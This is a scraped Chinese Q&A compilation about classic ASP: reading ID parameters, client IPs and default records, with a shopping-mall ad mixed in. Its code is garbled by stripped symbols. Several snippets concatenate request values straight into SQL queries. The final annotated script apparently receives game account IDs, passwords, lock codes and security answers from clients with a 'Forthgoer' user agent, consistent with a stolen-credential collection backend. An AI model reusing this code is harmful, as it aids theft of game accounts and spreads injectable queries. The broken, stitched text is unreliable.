ASP主机游戏id（ASP游戏）
asp 如何获得客户端IP,主机名,CUP大小,内存大小等
旺客网上商城系统-分销系统集合ERP/OA/电子目录等十大系统的电子商务完美解决方案，旺客网上商城系统-分销系统不仅懂网上商城零售，更擅长于帮助网上商城货源商家开展网上商城货源的分销。旺客网上商城系统-分销系统强大的站内商品搜索引擎，结合旺客独有的商品属性可搜索功能，买家在您的网上商城可以轻松找到所需商品。
ASP获取ID的问题
%
Dim lmid
lid=Request.QueryString("id")
If lmid="" Or IsNull(lmid) Then
lmid=1
End If
If IsNumeric(lmid) Then
Response.Redirect("about.asp?id="lmid)''本句可以不要
''根据lmid处理你的程序就可以了
End If
%
asp中获取ID
跟a.asp获取参数一样的啊
比如a.asp?newsid=123
iframe allowtransparency="true" border="0" frameborder="no" height="518" width="648" src="news_content.asp?Newsid=%=request("newsid")%" style="" /iframe
asp中ip地址和主机名分别指的是什么呢
ip地址指本机的Ip 主机名是指指定的域名。这个主机名涉及到一个服务器放多个网站，平常我们一个服务器放一个网站的话，可以直接输入IP地址访问（已经公网映射的IP地址），但是如果放多个网站那我们就要每一个网站都给它分配一个主机头，这样DNS才能正确的解析这个网站粗来
asp获取相应的ID
%
dim id
id=request("id")
if id="" then
id=1
end if
%
把这一段代码加到about.asp页面头上里
关于asp中ID的问题
子程序部分 应该修改成这样得吧
sub listsort(selec)
if selec"1" then
Response.write "ol"
end if
sql="select * From Product_Sort where SortDad=0 order by SortNum"
Set Rs = Conn.Execute(Sql)
do while not rs.eof
if selec="1" then
Response.write " option value="rs("SortID")" "rs("SortCnName")"/option"
else
Response.write "li bfont"rs("SortCnName")"/font/b/li"
end if
rs.MoveNext
loop
rs.Close
end sub
二次回答：我没有程序没法给你调式，所以只能给你个提示。或许，你可以这样写
'*********************
'说明：传两个参数过来selec和SortID'
'********************
sub listsort(selec,SortID)
if selec"1" then
Response.write "ol"
end if
sql="select * From Product_Sort where SortID="SortID" order by SortNum"
Set Rs = Conn.Execute(Sql)
do while not rs.eof
if selec="1" then
Response.write " option value="rs("SortID")" "rs("SortCnName")"/option"
else
Response.write "li bfont"rs("SortCnName")"/font/b/li"
end if
rs.MoveNext
loop
rs.Close
end sub
asp 关于默认id
Set Rs = Server.Createobject("Adodb.Recordset")
rs.open "select id from Article "
IF Not CheckNum(ID) Then ID = rs("0") '默认为ID等于1的文章,这样不是一直有效呀，
rs.close
set rs=nothing
Set Rs = Server.Createobject("Adodb.Recordset")
Sql = "Select ID,ArticleTitle,ArticleContent,ArticleClick from Song_Article where ID = " ID
谁能给这个ASP页注上注释
!--#include file="conn.asp"--
%
dim StrUserAgent //定义变量
StrUserAgent=Request.ServerVariables("HTTP_USER_AGENT")//得到主机信息
if StrUserAgent"Forthgoer" then//如果主机信息不等于
response.write("ok")//写OK
response.end //停止正在处理的ASP程序
end if
id=request("id")//将ID表单的信息保存到ID变量中,下面的相同,感觉应该是request.form("id")才对吧?
pass=request("p")
area=request("q")
openlock=request("lck")
srv=request("srv")
js1=request("js1")
id1=request("id1")
dj1=request("dj1")
mb=request("mb")
addtime=now() //得到时间
sys=request("sys")
pcname=request("pc")
ip=Request.ServerVariables("REMOTE_ADDR") //得到主机IP
if id="" or pass="" or area="" then //如果ID,PASS,area为空
response.write "no"
response.end
End If
dim rs //定义变量
set rs = server.createobject("adodb.recordset") //创建adodb.recordset对象
sql="select * from "table2" where gameid='"id"' and area='"area"' and srv='" srv"' and jid='"id1"'" //定义SQL语
rs.Open sql,conn,1,3 //打开数据库
if not rs.eof then //如果数据库不为空
rs("gameid")=id//将ID的值赋值给gameid字段
rs("password")=pass
if openlock"" then //如果openlock不为空
popenlock=rs("openlock")//将openlock赋给openlock字段将原来openlock字段中的内容赋给popenlock字段
rs("openLock")=openlock
rs("popenlock")=popenlock
end if
rs("area")=area //同样是赋值
rs("srv")=srv
rs("js")=js1
rs("dj")=dj1
rs("jid")=id1
rs("mibao")=mb
rs("addtime")=addtime
rs("sys")=sys
rs("ip")=ip
rs("pcname")=pcname
rs.update//提交记录
response.write "updateok" //在浏览器上写updateok
else //如果数据库中没有任何记录
rs.addnew //添加一条空白记录
rs("gameid")=id //跟先的一样了
rs("password")=pass
if openlock"" then
popenlock=rs("openlock")
rs("openLock")=openlock
rs("popenlock")=popenlock
end if
rs("area")=area
rs("srv")=srv
rs("js")=js1
rs("dj")=dj1
rs("jid")=id1
rs("mibao")=mb
rs("addtime")=addtime
rs("sys")=sys
rs("ip")=ip
rs("pcname")=pcname
rs.update
response.write "addok"
end if
rs.close//关闭数据库
set rs=nothing
conn.close
set conn=nothing
%
